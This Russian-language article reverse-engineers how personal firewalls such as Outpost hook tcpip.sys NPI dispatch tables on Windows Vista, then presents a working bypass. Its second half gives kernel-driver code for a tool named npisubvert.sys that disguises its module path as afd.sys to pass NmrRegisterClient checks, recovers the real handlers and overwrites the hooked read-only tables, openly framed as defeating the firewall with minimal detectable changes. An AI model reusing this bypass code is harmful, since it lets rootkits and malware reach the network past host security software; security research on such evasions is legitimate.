Когда клиент пытается подключиться к провайдеру, вызывается ProviderAttachClient() (в нашем случае это InetTlNotifyAttachClient()):
NTSTATUS ProviderAttachClient( IN HANDLE NmrBindingHandle, IN PVOID ProviderContext, IN PNPI_REGISTRATION_INSTANCE ClientRegistrationInstance, IN PVOID ClientBindingContext, IN CONST VOID *ClientDispatch, OUT PVOID *ProviderBindingContext, OUT CONST VOID **ProviderDispatch );
Вызываемая функция InetTlNotifyAttachClient() возвращает указатель на одну из XxxTlProviderDispatch структур в *ProviderDispatch и соединение считается установленным. Теперь клиент может делать вызовы к стеку через его диспетчерские функции.
Персональные фаерволлы идут по пути afd.sys – т.е. регистрируются в качестве клиента tcpip.sys и перехватывают обработчики из таблиц XxxTlProviderXxxDispatch, но помимо недокументированности интерфейса, они имеют вышеупомянутую проблему – только afd.sys или tdx.sys могут быть зарегистрированы в качестве клиентов tcpip.sys. В Outpost Firewall 2008/2009, например, это решается посредством построения трамплина из десятка инструкций в неиспользуемой части драйвера afd.sys для успешного вызова NmrRegisterClient():
loc_1B59A: movsxd rax, edi mov ecx, 0FFFFFFF8h lea rdx, [rax+rax*4] mov r8d, [rbx+rdx*8+114h] mov r9d, [rbx+rdx*8+118h] lea rdx, a_textAddressXS ; ".text address: %#x size: %#x\n" add r8, rsi call LogStub and [rsp+108h+var_E8], 0 lea rbx, [r9+r8-0A8h] mov rcx, rbx ; VirtualAddress xor r9d, r9d ; ChargeQuota xor r8d, r8d ; SecondaryBuffer mov edx, 0A8h ; Length call cs:IoAllocateMdl xor edx, edx ; AccessMode lea r8d, [rdx+1] ; Operation mov rcx, rax ; MemoryDescriptorList mov rdi, rax call cs:MmProbeAndLockPages xor r9d, r9d ; BaseAddress xor r8d, r8d ; CacheType xor edx, edx ; AccessMode mov rcx, rdi ; MemoryDescriptorList mov [rsp+108h+var_E0], 20h and dword ptr [rsp+108h+var_E8], 0 call cs:MmMapLockedPagesSpecifyCache lea rcx, [rsp+108h+var_C8] mov rdx, rax mov r8d, 0A8h mov rsi, rax call DoSomethingEv0l lea rax, [rbx+33h] mov byte ptr [rsi], 4Ch mov [rsi+24h], rax lea rax, NmrRegisterClient mov byte ptr [rsi+1], 89h mov byte ptr [rsi+2], 44h mov byte ptr [rsi+3], 24h mov byte ptr [rsi+4], 18h mov [rsi+33h], rax mov byte ptr [rsi+5], 48h mov byte ptr [rsi+6], 89h <...> mov byte ptr [rsi+32h], 0C3h mov byte ptr [rsi+3Bh], 0FFh mov byte ptr [rsi+3Ch], 25h and dword ptr [rsi+3Dh], 0 lea rax, ClientAttachAfd lea rcx, [rsi+60h] mov [rsi+41h], rax lea rax, [rbx+3Bh] lea rdx, unk_4C120 mov cs:off_4C128, rax and dword ptr [rsi+4Bh], 0 lea rax, WskClientDetach mov [rsi+4Fh], rax lea rax, [rbx+49h] mov byte ptr [rsi+49h], 0FFh mov byte ptr [rsi+4Ah], 25h mov r8d, 48h mov cs:off_4C130, rax call DoSomethingEv0l lea rcx, [rbx+60h] lea r8, [rsp+108h+var_D8] xor edx, edx call rbx test eax, eax jns short loc_1B76C lea rdx, aFailedRegister ; "failed register nmr client with status:"... mov r8d, eax mov ecx, 0FFFFFFFEh call LogStub jmp short loc_1B776
А вот собственно и сам трамплин, результат составления его вереницей mov инструкций (на x86 он, понятное дело, другой):
mov qword ptr [rsp+18h],r8 mov qword ptr [rsp+10h],rdx mov qword ptr [rsp+8],rcx sub rsp,28h mov r8,qword ptr [rsp+40h] mov rdx,qword ptr [rsp+38h] mov rcx,qword ptr [rsp+30h] mov rax,offset afd!AfdTLErrorHandlerConnection+0x16b (fffffa60`0423318b) call qword ptr [rax] add rsp,28h ret
Теперь Outpost может следить за вызовами к tcpip.sys и эффективно предотвращать доступ к сети нежелательным приложениям, а также руткитам, использующим TDI или WSK для сетевого взаимодействия. Разбираясь в вопросе год назад и уже написав эти строки с коварным разоблачением Outpost, внезапно наткнулся на довольно занятную запись: http://tarasc0.blogspot.com/2008/05/vista-beyond-tdi-3-60-60-60-60-60.html. Теперь понятно, откуда ноги растут. Ну а мы копнем глубже:
Waiting to reconnect... Connected to Windows Vista 6001 x64 target, ptr64 TRUE Kernel Debugger connection established. (Initial Breakpoint requested) Symbol search path is: D:\Symbols\x64\vista_sp1 Executable search path is: Windows Vista Kernel Version 6001 (Service Pack 1) MP (1 procs) Free x64 Product: WinNt, suite: TerminalServer SingleUserTS Built by: 6001.18000.amd64fre.longhorn_rtm.080118-1840 Kernel base = 0xfffff800`01804000 PsLoadedModuleList = 0xfffff800`019c9db0 kd> lm m afw start end module name fffffa60`026d5000 fffffa60`02718000 afw (no symbols) kd> !chkimg -ss .rdata -d -p E:\OS\x64\vista_sp1 tcpip fffffa6000f82dc0-fffffa6000f82dc3 4 bytes - tcpip!RawTlProviderDispatch+10 [ 90 d1 e6 00:fc 76 6e 02 ] fffffa6000f82dc8-fffffa6000f82dcb 4 bytes - tcpip!RawTlProviderDispatch+18 (+0x08) [ e0 cf e6 00:4c 7e 6e 02 ] fffffa6000f82df0-fffffa6000f82df3 4 bytes - tcpip!RawTlProviderEndpointDispatch (+0x28) [ 70 41 f7 00:04 7d 6e 02 ] fffffa6000f82e08-fffffa6000f82e0b 4 bytes - tcpip!RawTlProviderMessageDispatch (+0x18) [ 70 41 f7 00:04 7d 6e 02 ] fffffa6000f82f80-fffffa6000f82f83 4 bytes - tcpip!UdpTlProviderDispatch+10 (+0x178) [ 50 c8 ec 00:08 61 6e 02 ] fffffa6000f82f88-fffffa6000f82f8b 4 bytes - tcpip!UdpTlProviderDispatch+18 (+0x08) [ 40 7d ec 00:ec 70 6e 02 ] fffffa6000f82fb0-fffffa6000f82fb3 4 bytes - tcpip!UdpTlProviderEndpointDispatch (+0x28) [ d0 d9 ec 00:78 67 6e 02 ] fffffa6000f82fb8-fffffa6000f82fbb 4 bytes - tcpip!UdpTlProviderEndpointDispatch+8 (+0x08) [ b0 9e ec 00:84 6a 6e 02 ] fffffa6000f82fc8-fffffa6000f82fcb 4 bytes - tcpip!UdpTlProviderMessageDispatch (+0x10) [ d0 d9 ec 00:78 67 6e 02 ] fffffa6000f82fd0-fffffa6000f82fd3 4 bytes - tcpip!UdpTlProviderMessageDispatch+8 (+0x08) [ b0 9e ec 00:84 6a 6e 02 ] fffffa6000f82fe0-fffffa6000f82fe3 4 bytes - tcpip!UdpTlProviderMessageDispatch+18 (+0x10) [ 60 ce ea 00:c0 68 6e 02 ] fffffa6000f83210-fffffa6000f83213 4 bytes - tcpip!TcpTlProviderDispatch+10 (+0x230) [ 70 5b ec 00:40 15 6e 02 ] fffffa6000f83220-fffffa6000f83223 4 bytes - tcpip!TcpTlProviderDispatch+20 (+0x10) [ 20 b4 e8 00:b4 2c 6e 02 ] fffffa6000f83228-fffffa6000f8322b 4 bytes - tcpip!TcpTlProviderDispatch+28 (+0x08) [ 50 d2 ec 00:90 20 6e 02 ] fffffa6000f83230-fffffa6000f83233 4 bytes - tcpip!TcpTlProviderDispatch+30 (+0x08) [ 60 0d ec 00:4c 44 6e 02 ] fffffa6000f83238-fffffa6000f8323b 4 bytes - tcpip!TcpTlProviderDispatch+38 (+0x08) [ 80 86 f7 00:6c 42 6e 02 ] fffffa6000f83240-fffffa6000f83243 4 bytes - tcpip!TcpTlProviderEndpointDispatch (+0x08) [ 10 20 ec 00:90 1b 6e 02 ] fffffa6000f83248-fffffa6000f8324b 4 bytes - tcpip!TcpTlProviderEndpointDispatch+8 (+0x08) [ e0 99 ec 00:8c 1c 6e 02 ] fffffa6000f83258-fffffa6000f8325b 4 bytes - tcpip!TcpTlProviderListenDispatch (+0x10) [ 20 cf e8 00:f4 32 6e 02 ] fffffa6000f83278-fffffa6000f8327b 4 bytes - tcpip!TcpTlProviderConnectDispatch (+0x20) [ e0 93 ec 00:9c 2a 6e 02 ] fffffa6000f83290-fffffa6000f83293 4 bytes - tcpip!TcpTlProviderConnectDispatch+18 (+0x18) [ a0 51 ed 00:30 3d 6e 02 ] fffffa6000f83298-fffffa6000f8329b 4 bytes - tcpip!TcpTlProviderConnectDispatch+20 (+0x08) [ 70 02 ec 00:c4 3a 6e 02 ] fffffa6000f832a0-fffffa6000f832a3 4 bytes - tcpip!TcpTlProviderConnectDispatch+28 (+0x08) [ 40 8f ec 00:10 47 6e 02 ] 92 errors : tcpip (fffffa6000f82dc0-fffffa6000f832a3)
Имеем установленные перехваты в диспетчерских таблицах XxxTlProviderXxxDispatch tcpip.sys. В программном исполнении вопрос с перехватами решается предельно просто: нам необходимо прочитать оригинал tcpip.sys с диска и переписать секцию .rdata настоящими данными, не забывая о фиксе релоков, к тому же нужно иметь ввиду, что запись в .rdata запрещена настройками самой секции. Ну а мы же только из исследовательских побуждений поступим вот так:
kd> !chkimg -f -ss .rdata -p E:\OS\x64\vista_sp1 tcpip Warning: Any detected errors will be fixed to what we expect! 92 errors (fixed): tcpip (fffffa6000f82dc0-fffffa6000f832a3)
Собственно, это все, что нужно, чтобы снести защиту персональных фаерволов такого типа.
Обход NPI фаерволлов
Теперь мы поняли, как добраться до самой сути и перехватить именно то, что нужно, чтобы получить полный контроль над прикладным ПО и незамысловатыми руткитами ядра, рвущимися в сеть. Как и всегда, эту информацию можно использовать в двух вариантах: при защите и при нападении. Далее речь пойдет о нападении, а точнее, о тактичном обходе этого вида защиты.
Вернемся к способу, основанному на построении трамплина из доверенного драйвера в функцию NmrRegisterClient(), а также мостов к обработчикам ClientAttachProvider() и ClientDetachProvider(). Чем плох этот метод? А вот чем:
- Патчинг системного драйвера в памяти. Фаервол будет работать до тех пор, пока этот драйвер не меняется. В новой ревизии ОС или при его возможном изменении есть риск получить BSoD.
- Привязка к определенной архитектуре процессора, приходится организовывать свой мост под каждую архитектуру процессора.
Код обхода разделен на две половины: первая часть отвечает за получение указателей на внутренние таблицы диспетчеризации; вторая осуществляет восстановление перехваченных обработчиков. Благодаря этому, у нас есть прекрасная возможность использовать настоящие обработчики таблиц XxxTlProviderXxxDispatch и делать вызовы к tcpip.sys напрямую, в обход фаерволлов, используя лишь первую часть кода.
При разработке средства для обхода NPI фаерволлов мы будем основываться на реакции NmrRegisterClient(), а точнее на реакции внутренней функции, которую она вызывает – NmprVerifyModule(). Данная функция сначала отыскивает модуль ядра, которому принадлежат переданные указатели на обработчики и только потом удостоверивается в том, что путь до этого модуля равен “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” или “\systemroot\system32\drivers\tcpip.sys”. Логичнее было бы делать проверку наоборот – «а указывают ли переданные указатели в один из трех доверенных драйверов»? Разработчики netio.sys об этом не подумали. Используем эту особенность, подменив поле FullDllName структуры LDR_DATA_TABLE_ENTRY, которая описывает наш драйвер, на один из легитимных путей. После этого можно вызывать NmrRegisterClient() и регистрироваться в качестве клиента tcpip.sys, при этом быть уверенными в том, что netio.sys корректно зарегистрирует наш вызов. Следует помнить, что клиентами tcpip.sys могут стать лишь tdx.sys и afd.sys, поэтому пути следует выбирать соответствующие при выборе NPIID. Для начала следует получить указатели на ранее перечисленные таблицы диспетчеризации XxxTlProviderXxxDispatch драйвера tcpip.sys, чем и занимается функция GetTcpipDispatchTables():
NTSTATUS NTAPI GetTcpipDispatchTables( __in PLDR_DATA_TABLE_ENTRY DriverEntry, __out PTL_DISPATCH_TABLES DispatchTables )
Данная функция вызывается из DriverEntry() драйвера, которой передается указатель на структуру LDR_DATA_TABLE_ENTRY нашего драйвера, которую мы собираемся использовать, как было описано выше. Для начала подготовим структуру NPI_CLIENT_CHARACTERISTICS для подключения к провайдеру:
NPI_MODULEID FakeModuleId = { sizeof(NPI_MODULEID), MIT_GUID, {0x01020304, 0x0506, 0x0708, {0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}} }; NPI_CLIENT_CHARACTERISTICS ClientChars = { 0, sizeof(NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, &FakeModuleId, 0, NULL} };
Указанный NPI_TRANSPORT_LAYER_ID говорит о том, что мы хотим подключиться к провайдеру, который поставляет услуги связи. В нашем случае это, конечно же, tcpip.sys. Перед регистрацией клиента притворимся afd.sys:
UNICODE_STRING OriginalFullDllName = {0}; … RtlCopyMemory(&OriginalFullDllName, &DriverEntry->FullDllName, sizeof(UNICODE_STRING)); RtlInitUnicodeString(&DriverEntry->FullDllName, L"\\SystemRoot\\system32\\drivers\\afd.sys");
Теперь можно и регистрироваться:
Status = NmrRegisterClient(&ClientChars, Dispatches, &hClientHandle); if (NT_SUCCESS(Status)) { NmrDeregisterClient(hClientHandle); } else { DbgPrint("GetTcpipDispatchTables(): NmrRegisterClient() failed with status 0x%08X\n", Status); }
После вызова NmrRegisterClient() FullDllName можно вернуть назад, подмена больше нигде не пригодится:
RtlCopyMemory(&DriverEntry->FullDllName, &OriginalFullDllName, sizeof(UNICODE_STRING));
Код, получающий указатели на XxxTlProviderDispatch таблицы, находится в обработчике FakeClientAttachProvider, который мы указали при составлении структуры NPI_CLIENT_CHARACTERISTICS:
static NTSTATUS NTAPI FakeClientAttachProvider( __in HANDLE NmrBindingHandle, __in PTL_DISPATCH_TABLES DispatchTables, __in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance )
Данная функция вызывается NMR при вызове NmrRegisterClient() для каждого ModuleId, который зарегистрировал провайдер с данным NPIID, а это уже перечисленные NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. Данная информация передается в ProviderRegistrationInstance, чем мы и воспользуемся при получении указателей на таблицы:
if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_TCP_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->TcpTlProviderDispatch ); // Get TcpTlProviderDispatch table Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->TcpTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(TcpTlProviderDispatch) failed with status 0x%08X\n", Status)); } } else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_UDP_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->UdpTlProviderDispatch ); // Get UdpTlProviderDispatch table Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->UdpTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(UdpTlProviderDispatch) failed with status 0x%08X\n", Status)); } } else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_RAW_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->RawTlProviderDispatch ); // Get RawTlProviderDispatch table Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->RawTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(RawTlProviderDispatch) failed with status 0x%08X\n", Status)); } }
Для того, чтобы получить непосредственный указатель на одну из таблиц диспетчеризации, нам необходимо вызвать функцию NmrClientAttachProvider(), конечный пункт которой – вызов InetTlNotifyAttachClient(), которая и возвращает указатель на таблицу. Эти указатели мы запоминаем и будем использовать дальше при восстановлении обработчиков на оригинальные.
Успешно получив указатели на XxxTlProviderDispatch таблицы, вызываем GetInternalTcpipDispatches(), которая получает указатели на оставшиеся таблицы XxxTlProviderXxxDispatch, а также указатели на их настоящие обработичики. Как уже было сказано, самый простой способ восстановления обработчиков – загрузка tcpip.sys с диска и перезапись всей секции .rdata оригинальными данными. Есть одно негласное правило при написании кода такого рода – чем меньше изменений мы привносим в систему, тем мы незаметнее (вполне возможны аналогичные изменениях в другой часть .rdata). Поэтому из этих побуждений, а еще и из-за исследовательского интереса, мы будем восстанавливать конкретные таблицы шаг за шагом. Эта практика, кстати, поможет немного разобраться в недокументированном TL (Transport Layer) интерфейсе tcpip.sys и эти знания могут быть использованы для написания собственного NPI клиента tcpip.sys.
Для загрузки копии tcpip.sys в память организована функция GetTcpip(), действия которой раскладываются в несколько этапов: получение базового адреса и размера модуля уже загруженного tcpip.sys; загрузка копии tcpip.sys с диска; маппинг секций; настройка релоков:
UNICODE_STRING TcpipDriverName = CONST_UNICODE_STRING(L"\\Driver\\tcpip"); UNICODE_STRING TcpipDriverPath = CONST_UNICODE_STRING(L"\\SystemRoot\\system32\\drivers\\tcpip.sys"); MEMORY_CHUNK FlatFile = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL; Status = GetDriverModuleInfo(&TcpipDriverName, &OriginalTcpip->Buffer, &OriginalTcpip->Size); if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): GetDriverModuleInfo(%wZ) failed with status 0x%08X\n", &TcpipDriverName, Status)); return Status; } Status = GetFileData(&TcpipDriverPath, &FlatFile); if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): GetFileData(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status)); return Status; } Status = MapImage(&FlatFile, LoadedTcpip); FreeMemoryChunk(&FlatFile); if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): MapImage(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status)); }
Функция MapImage() делает всю нудную работу за нас – она удостоверивается в целостности модуля, располагает секции соответствующим образом в памяти и правит релокации. Следует учитывать то, что память, выделенная MapImage() – подкачиваемая и поэтому образ, спроецированный данной функцией, не может быть использован для запуска кода. Следует сделать правку в функции, чтобы она выделяла память из неподкачиваемого пула, тогда такой запуск будет возможен.
Работа функции GetInternalTcpipDispatchTables() разбита на 7 этапов:
- Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderDispatch/ UdpTlProviderDispatch/ RawTlProviderDispatch
- Получение указателей на таблицы TcpTlProviderEndpointDispatch/ UdpTlProviderEndpointDispatch/ RawTlProviderEndpointDispatch, располагающихся в tcpip.sys
- Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderEndpointDispatch / UdpTlProviderEndpointDispatch / RawTlProviderEndpointDispatch
- Получение указателей на таблицы TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch, располагающихся в tcpip.sys
- Получение настоящих (не перехваченных) обработчиков таблиц TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch
- Получение указателей на таблицы UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch, располагающихся в tcpip.sys
- Получение настоящих (не перехваченных) обработчиков таблиц UdpTlProviderMessageDispatch / RawTlProviderMessageDispatch
Работа по нахождению настоящих обработчиков, которые перехвачены, довольно тривиальна и выполняется функцией GetRealTcpipDispatchTable():
static NTSTATUS GetRealTcpipDispatchTable( __in PMEMORY_CHUNK OriginalTcpip, __in PMEMORY_CHUNK LoadedTcpip, __in PVOID* OriginalDispatchTable, __out PVOID* RealDispatchTable, __in ULONG PointersCount )
По подсчитанному виртуальному смещению таблицы диспетчеризации, из загруженной копии tcpip.sys получаются указатели на обработчики и поправляются таким образом, чтобы они указывали в соответствующее место в оригинальном модуле. Довольно просто, с условием того, что мы имеем указатель на эту таблицу и таблица находится в пределах tcpip.sys. Данной функцией пользуются функции GetRealXxxTlProviderDispatch(), GetRealXxxTlProviderEndpointDispatch(), GetRealTcpDispatches(),GetRealMessageDispatches(), которые вызываются на этапах №1, №3, №5, №7 соответственно.
Куда более интересная жизнь наступает при необходимости получения указателей на таблицы XxxTlProviderEndpointDispatch/ TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch. Указатели на эти таблицы можно получить только в том случае, если вы знакомы с внутренним интерфейсом tcpip.sys, который не документирован. Кажется, именно здесь придется применить весь талант реверс-инженера, о чем дальше и пойдет речь.
Внутренний интерфейс tcpip.sys
Каждый обработчик таблиц диспетчеризации tcpip.sys получает два параметра на вход и имеет следующий прототип:
typedef NTSTATUS (NTAPI* PROVIDER_DISPATCH) ( __in PVOID Endpoint, __in PTL_ENDPOINT_DATA ProviderData );
Структура TL_ENDPOINT_DATA определяется следующим образом:
typedef struct _TL_ENDPOINT_DATA { GET_DISPATCH GetDispatch; PVOID GetDispatchContext; PVOID Flags; USHORT Family; #ifndef _AMD64_ PVOID Unk5; #endif PEPROCESS Process; PETHREAD Thread; PVOID Object; PSOCKADDR_IN Addr1; PVOID Unk10; PVOID Unk11; PSOCKADDR_IN Addr2; PVOID Unk13; PVOID Unk14; PVOID Unk15; PVOID Unk16; … } TL_ENDPOINT_DATA, *PTL_ENDPOINT_DATA;
Данная структура описывает т.н. «конечное подключение» к определенной сущности внутри tcpip.sys. Вызовы к данным «сущностям» похожи во многом на вызовы BSD sockets, и каждому отводится собственный набор обработчиков. Чтобы использовать определенный модуль tcpip.sys, мы должны получить указатель на таблицу со списком его обработчиков. Самый первый член структуры TL_ENDPOINT_DATA – указатель на callback функцию, которая вызывается в том случае, если наш вызов был успешно зарегистрирован. В таком случае tcpip.sys создает внутреннюю структуру, в которую копирует часть данных из TL_ENDPOINT_DATA и передает указатель на нее вместе с указателем на таблицу диспетчеризации этого модуля. Судя по всему, данный возвращаемый указатель следует интерпретировать лишь как безликий HANDLE, передавая его в качестве такового последующим обработчикам. Упомянутая callback функция имеет следующий прототип:
typedef NTSTATUS (NTAPI* GET_DISPATCH) ( __in PVOID Context, __in NTSTATUS Status, __in PVOID Endpoint, __in PVOID DispatchTable );
В параметре Context передается значение, указанное во втором члене структуры – GetDispatchContext, что очень удобно при возврате каких-либо данных. Указатель DispatchTable и есть ожидаемый указатель на таблицу диспетчеризации. Указатель Endpoint – это указатель на упомянутую выше внутреннюю структуру, которую выделяет и заполняет tcpip.sys, мы должны хранить этот указатель до момента разрыва связи. В результате исследования стало ясно, что следующие поля обязательны к заполнению:
- Поле Family должно содержать одно из значений AF_XXX для успешного запуска обработчика TL_PROVIDER_DISPATCH.Endpoint
- Поле Process должно указывать на EPROCESS клиентского процесса
- Поле Thread должно указывать на ETHREAD клиентского потока
- Поле Addr1 должно указывать на валидную структуру SOCKADDR_IN с корректным значением поля sin_family при вызовах TL_PROVIDER_DISPATCH.Listen и TL_PROVIDER_DISPATCH.Connect
- Поле Addr2 должно указывать на валидную структуру SOCKADDR_IN с корректными значениями полей sin_family и sin_port (не ноль) при вызовах TL_PROVIDER_DISPATCH.Connect
Опытным путем установлено, что при Family=AF_INET, и с Process и Thread, указывающими на текущий процесс и поток, все замечательно работает. Остальные поля могут быть равны нулю, чем мы и воспользуемся при регистрации подключения. Строго говоря, желательно пройти путь реверса от начала до конца, чтобы на 100% быть уверенными в том, что все поля структуры верны. Особо дотошные непременно это осуществят, а нам хватит и того, что есть.
Для примера рассмотрим получение указателей на структуры XxxTlProviderEndpointDispatch функцией GetEndpointDispatches():
static NTSTATUS GetEndpointDispatches( __inout PTL_DISPATCH_TABLES Dispatches ) { PROVIDER_DISPATCH_UNK1 DispatchUnk1 = {0}; TL_ENDPOINT_DATA EndpointData = {0}; GET_DISPATCH_CONTEXT GetDispatchContext = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL;
Заполняем необходимые поля структуры TL_ENDPOINT_DATA:
EndpointData.GetDispatch = GetDispatchCallback; EndpointData.GetDispatchContext = &GetDispatchContext; EndpointData.Family = AF_INET; EndpointData.Process = PsGetCurrentProcess(); EndpointData.Thread = PsGetCurrentThread(); GetDispatchContext.DispatchTable = &Dispatches->TcpTlProviderEndpointDispatch; GetDispatchContext.Endpoint = NULL; Dispatches->TcpTlProviderEndpointDispatch = NULL;
Callback представляет собой очень простую функцию:
static NTSTATUS NTAPI GetDispatchCallback( __in PGET_DISPATCH_CONTEXT Context, __in NTSTATUS Status, __in PVOID Endpoint, __in PVOID DispatchTable ) { if (!Context || !Context->DispatchTable) return STATUS_INVALID_PARAMETER; Context->Endpoint = Endpoint; *Context->DispatchTable = DispatchTable; return STATUS_SUCCESS; }
Регистрируем подключение:
Status = Dispatches->RealTcpTlProviderDispatch.Endpoint(&DispatchUnk1, &EndpointData); if (!NT_SUCCESS(Status)) { KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->Endpoint() failed with status 0x%08X\n", Status)); return Status; }
После успешной регистрации подключения необходимо вызвать функцию разрыва связи, чтобы tcpip.sys мог освободить всю занятую им память (проблема не только в памяти, в случае неразрыва связи, в памяти останется висеть ETHREAD, указатель на который мы поместили в поле Thread). Видно, что для опроса tcpip.sys используется настоящий обработчик tcpip.sys, который был получен ранее. Этим мы избегаем фаерволлов, которые предпочтут выдавать указатель на свою таблицу со своими обработчиками. Отключаемся от tcpip.sys:
if (GetDispatchContext.Endpoint) { Status = Dispatches->TcpTlProviderEndpointDispatch->CloseEndpoint(GetDispatchContext.Endpoint, NULL); if (!NT_SUCCESS(Status)) { KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->CloseEndpoint() failed with status 0x%08X\n", Status)); } }
Как уже стало заметно, сохраненный идентификатор подключения Endpoint передается первым параметром обработчику CloseEndpoint(), так производится корректный разрыв связи с «конечной точкой» подключения. Аналогичная операция производится для UdpTlProviderDispatch и RawTlProviderDispatch таблиц. При получении указателей на TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch все происходит в той же очередности, разве что еще указываются необходимые Addr1 и Addr2 в соответствии требованиям, приведенным выше.
После того, как все указатели на таблицы внутри tcpip.sys, а также настоящие обработчики этих таблиц будут получены, можно приступать к их восстановлению. Другой вариант – полный реверс tcpip.sys, детальное понимание принципов работы интерфейса и написание собственного клиента, который будет иметь возможность работы с сетью в обход NPI фаерволлов. Мы же пойдем по пути меньшего сопротивления и просто восстановим все XxxTlProviderXxxDispatch таблицы. Данной работой занимается вторая часть кода.
Снятие NPI перехватов
Код восстановления XxxTlProviderXxxDispatch таблиц располагается в функции UnhookNPI() и разбит на 4 этапа:
- Восстановление обработчиков из XxxTlProviderDispatch таблиц
- Восстановление обработчиков из XxxTlProviderEndpointDispatch таблиц
- Восстановление обработчиков из TcpTlProviderListenDispatch и TcpTlProviderConnectDispatch таблиц
- Восстановление обработчиков из UdpTlProviderMessageDispatch и RawTlProviderMessageDispatch таблиц
Всю работу по восстановлению таблиц берет на себя функция RestoreTcpipDispatchTable():
static NTSTATUS RestoreTcpipDispatchTable( __in PMEMORY_CHUNK OriginalTcpip, __in PVOID* OriginalDispatchTable, __in PVOID* RealDispatchTable, __in ULONG DispatchTableSize )
Функции передается описатель действующего модуля tcpip.sys, указатель на очередную таблицу, указатель на таблицу с настоящими обработчиками (указывающими в tcpip.sys) и размер данной таблицы. Сперва функция удостоверивается в том, что переданный указатель на таблицу действительно принадлежит tcpip.sys:
if ((ULONG_PTR)OriginalDispatchTable < (ULONG_PTR)OriginalTcpip->Buffer || (ULONG_PTR)OriginalDispatchTable + DispatchTableSize > (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size) { KdPrint(("RestoreTcpipDispatchTable(): Dispatch table %p is out of tcpip.sys' range %p..%p\n", OriginalDispatchTable, OriginalTcpip->Buffer, (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size)); return STATUS_UNSUCCESSFUL; }
Если таблица не перехвачена, то ничего и делать не нужно:
if (!memcmp(OriginalDispatchTable, RealDispatchTable, DispatchTableSize)) return STATUS_SUCCESS;
В противном случае мы проецируем указанный кусок памяти по другому адресу, разрешая запись в эту память:
PMDL OriginalDispatchTableMdl = NULL; PVOID* MappedOriginalDispatchTable = NULL; … OriginalDispatchTableMdl = IoAllocateMdl(OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL); if (!OriginalDispatchTableMdl) return STATUS_INSUFFICIENT_RESOURCES; // Going to have write access to the read only memory of tcpip.sys' .rdata section __try { MmProbeAndLockPages(OriginalDispatchTableMdl, KernelMode, IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { IoFreeMdl(OriginalDispatchTableMdl); return STATUS_ACCESS_VIOLATION; } MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache( OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority); if (!MappedOriginalDispatchTable) { MmUnlockPages(OriginalDispatchTableMdl); IoFreeMdl(OriginalDispatchTableMdl); return STATUS_UNSUCCESSFUL; }
Восстановление таблицы производится вызовом одной функции:
RtlCopyMemory(MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);
Пример использования функции не заставит себя долго ждать:
static NTSTATUS UnhookXxxTlProviderDispatch( __in PTL_DISPATCH_TABLES Dispatches, __in PMEMORY_CHUNK OriginalTcpip ) { … Status = RestoreTcpipDispatchTable( OriginalTcpip, (PVOID*)Dispatches->TcpTlProviderDispatch, (PVOID*)&Dispatches->RealTcpTlProviderDispatch, sizeof(TL_PROVIDER_DISPATCH)); if (!NT_SUCCESS(Status)) { KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(TcpTlProviderDispatch) failed with status 0x%08X\n", Status)); return Status; } Status = RestoreTcpipDispatchTable( OriginalTcpip, (PVOID*)Dispatches->UdpTlProviderDispatch, (PVOID*)&Dispatches->RealUdpTlProviderDispatch, sizeof(TL_PROVIDER_DISPATCH)); if (!NT_SUCCESS(Status)) { KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(UdpTlProviderDispatch) failed with status 0x%08X\n", Status)); return Status; }
Восстановление обработчиков завершено, NPI фаерволл повержен. Удостоверимся в этом на том же Outpost firewall Pro 2009 (v6.5, x86), запустив npisubvert.sys:
